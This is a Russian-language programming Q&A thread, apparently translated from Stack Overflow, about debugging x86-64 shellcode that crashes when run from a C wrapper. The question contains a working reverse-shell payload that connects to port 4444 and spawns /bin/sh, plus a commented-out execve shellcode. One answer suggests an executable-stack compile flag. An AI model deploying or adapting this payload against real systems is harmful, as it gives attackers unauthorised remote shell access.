шеллкод работает, но нет в пользовательской программе на C - PullRequest
0 голосов
/ 08 ноября 2018

моя полезная нагрузка asm работает, но я попытался встроить ее в собственную программу c, которая работает. подключитесь к моему порту 4444 nc, затем затормозите соединение. Я не понимаю, почему это происходит, если я тестировал этот пример на своем исполняемом файле asm, и он отлично работает, а на моей c-программе нет. А что я могу сделать ? как я могу это отладить?

#include <stdio.h>

unsigned char random[] = "0E249hvzColk1lZ4Vk1eccJM07x2FuitUVsliNPA5FybQn-Ny7DQJ0t-JCvDnm-mZY8YkyOtj6xgN1AUKzcBtr9rRCdGlZCjNnOKGbMzfpQQUampvZsqE0MRDhcvyvpOWzqZG5QJGBuL4-u0MipHq1ioOyNdcWcsRF0zPBd7iI76tTK5CPeDhklfSNQKaw50tsA1lEXDl7mVcvre9b6I-cUR1hYg2oLC6W0zwznvIizbea21OOB9oke5hYdWSSmI181bwvP6IuR20HIu1rGjKgnjHbClcMt9DWBOHBrtxSVUddgparNs5mR3lK3AtY85DN9W2ikX0lOSZbgcB47KC-wSGYRWOuqj1G8ebqUIArlnGk1TBKdwmezfz7RXHsa0EBlFRz60H9lDyQjJb31e78Ff1xXsFEJ5mnkU9rL5NDxPxyOkqxQoO1-6iR62feGLvQdUKfqXF2G0X8NMYqx0UWa78ezsOGsqdnwU5ktwMm2jaPZ5F1G8GKJFYGr7SXz6";

//\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 64 bits shell


unsigned char shellcode[] =  "\x68\xac\x14\x0a\x02\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";

int main(void){
    ((void (*)())shellcode)();
}



./custom
Segmentation fault (core dumped)

Ответы [ 2 ]

0 голосов
/ 16 апреля 2019

Решением этой проблемы, вероятно, является установка опции исполняемого стека во время компиляции с использованием -z execstack с GCC.

Это как-то связано с тем, как шелл-код вызывается через указатель на функцию. Указатель передается и заканчивается в стеке во время батута вызова, поэтому стек должен быть исполняемым для его работы.

0 голосов
/ 08 ноября 2018

Вы пытаетесь преобразовать указатель объекта shellcode в указатель на функцию в следующем выражении:

((void (*)())shellcode)();

Это может привести к неопределенному поведению.

Стандарт C99 устанавливает это нараздел об указателях функций:

Даже при явном приведении недопустимо преобразовывать указатель функции на указатель объекта или указатель на void, или наоборот.

Это можно увидеть, когда вы компилируете свой код с опцией -pedantic-errors в GCC, которая выдает следующую ошибку:

<source>: In function 'main':
<source>:11:6: error: ISO C forbids conversion of object pointer to function pointer type [-Wpedantic]

См. Демонстрационную версию здесь .

...